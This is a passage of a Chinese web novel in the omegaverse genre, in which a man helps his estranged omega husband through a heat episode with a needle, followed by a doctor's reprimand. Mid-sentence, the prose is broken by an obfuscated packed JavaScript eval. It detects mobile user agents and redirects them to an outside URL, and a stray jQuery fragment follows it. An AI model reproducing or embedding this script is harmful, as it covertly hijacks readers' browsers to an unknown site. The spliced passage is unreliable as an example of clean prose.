omega的发情期一向是个很难解决的难题。
这是他们正常的生理周期,每个月一次,医学也无法违背。
顶多是制造出来抑制剂,用来抑制omega发情的周期,使其延后。
但发情期无法永远延后,也会令身体出现问题,于是相应的,又诞生了不少缓解发情期痛苦的药剂。
与omega发情期对应的,是alpha的易感期。
alpha的易感期通常没有omega的发情期那么频繁,并且不是很规律,通常发生在精神力耗费过多、或者被omega刻意用信息素诱惑时。
和omega的发情期不同,alpha的易感期更像是一场精神失控。
随着空气中信息素浓度的增多,蔺言感觉他皮肤的热度也在增加,头也开始发晕、眼睛直勾勾盯着紧闭的卧室门。
好香,好香。
他从来没闻到过这么香的信息素味道,痒意从身体的血管里涌出来,他在渴望着什么。
下了楼,司机还在原地站着,一脸担忧。
蔺言道:“附近有没有药店?有卖抑制剂或者发情期症状缓解药的那种,你去买点。”
司机愣住,“您……”
不是夫妻吗,标记一下就好了啊,何必再去买这种药。
蔺言的脸色很严肃,司机在他身边工作多年,知道他性格说一不二,没敢多说,转身去了。
就在司机走后不久,空气中信息素的味道逐渐淡了。
蔺言冷静了不少,意识到不对,猛地冲上楼,敲了敲苏明清卧室门。
里面没有反应,信息素的味道越来越淡,直到没有。
蔺言猛地推开了门。
……
空气中弥漫着大量的信息素香,充斥在蔺言的鼻腔中,那种头脑发胀的感觉又袭来,他的腺体似乎也在发热,有几秒钟他无法让自己的视线从苏明清身上挪开。
苏明清坐在床边的地毯上,半个身体趴在床上,在他的周围,有几个废掉的针管。
他似乎很慌忙,上衣都被扯掉了不少,雪白的后颈没有任何遮挡的暴露在空中。奄奄一息地侧过头喘息。
好香。
蔺言凑近了一些,看得更清楚,他看见一向和他不对付的死对头就这么安安静静地跪坐在地上,不见平日的强势,鼻尖渗出来一点亮晶晶的汗水,嘴唇红透了,微微启开,小声呼吸。
他听见自己心悸了一下。
“你……”苏明清撑了一下,没能成功起身,似乎是毫无办法,缓声叫他,“蔺言……”
他叫得蔺言的名字,但蔺言知道这人并不是自己。
这声音中包含了无力的求助,甚至有一点小心翼翼,他蹙眉,颤抖着深呼吸。
看见蔺言还是没有过来搀扶他的意思,苏明清咬紧牙关,转过头去,“你出去。”
蔺言却已经上前,手足无措道:“我该怎么帮你?”
他从来没有这么清晰地认识到,原来苏明清真的是个omega。
有omega的发情期,有omega的柔弱,甚至……咬牙静静忍着的时候,还有omega的可怜。
苏明清在他说完这句话后,似乎瞬间松懈了,充满信任地倒在了他的身上。
蔺言还是头一次和他这么亲密接触,身体一下子变得僵硬无比。
苏明清声音有点委屈喊他:“老公……”
蔺言说不上来什么感觉,在被苏明清喊时,好像有一阵高压电流狂轰,在剧烈的鸡皮疙瘩反应后,反而留下一点酥麻的痕迹。
苏明清似乎失去神志,一直在他的怀里乱动,嘴里含糊不清地喊他。
“你别!”蔺言惊恐万状,“你别这么快就挺不住啊,你好歹跟我说该怎么办!”
苏明清喘着热气:“针……”
“针?”
“扎。”
“扎?”蔺言拿针的手势活脱脱像拿了把枪,“扎哪啊?你——你别蹭!”
苏明清眼神迷离,引着他的手来到了后颈。
标记,为什么不能标记他。
以前不是很爱标记他吗,为什么一下子就不行了,为什么发情期也要他自己捱。
好讨厌。
蔺言好讨厌。
下一秒,迎接苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196100|147645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
明清的,是后劲的一阵剧痛。
……
“怎么能直接往腺体上扎针呢?”医生观察完苏明清的情况后,皱眉道,“以前没有学过生理课吗?omega的腺体是最脆弱的,万一弄不好就会落下终身残疾,有的还可能危及生命。”
苏明清双眼紧闭,脸色苍白,躺在床上一言不发。
颤动的睫毛暴露了他还醒着。
医生无奈,哪有对自己这么狠的?
他转过身,再看不远处的alpha——从他进门起,就跟避嫌似的,远远站在一旁。
医生当了蔺家多年的心理医生,不多是朋友那也十分熟悉了,宽慰道:“你们两个吵架了?”
“夫妻哪有不吵架的,古话说得好,夫妻吵架床头吵床尾合,更何况关乎对方身体?omega发情可不是小事,真出事了有你们后悔的。”
“张医生,”苏明清轻轻打断了他的唠叨,“你先出去吧。”
房间里瞬间安静了下来。
苏明清看着蔺言。
蔺言道:“先说好,是你让我往你脖子里扎的,你拿着我的手往脖子里引……”
“我知道。”苏明清打断他。
蔺言像个做错事情的孩子。
实际上,他现在的心智,对苏明清而言也确实是个孩子,想法都挂在脸上,一眼就能叫人看透,青涩的很。
又哪里像政商通吃的蔺言?
“或许我现在相信,你确实是穿越来的了。”苏明清忽然轻声道。
蔺言不明所以,怎么给他扎个针就相信了呢?
“我现在不是很想见人,”苏明清道,“请你也出去吧。”
要是在二十年前,苏明清对着蔺言说“请”,那么除了阴阳怪气,别无它解。
但二十年后的这个苏明清,蔺言摸不透他的脾气,大部分时候他都觉得苏明清比以前有礼貌多了。
想想刚刚苏明清在他怀里意乱情迷,如今这种礼貌,又多出几分疏远。
“哦。”蔺言道。
他拉开了卧室门。
即将出去时,还是回头,正色道:“对不起。”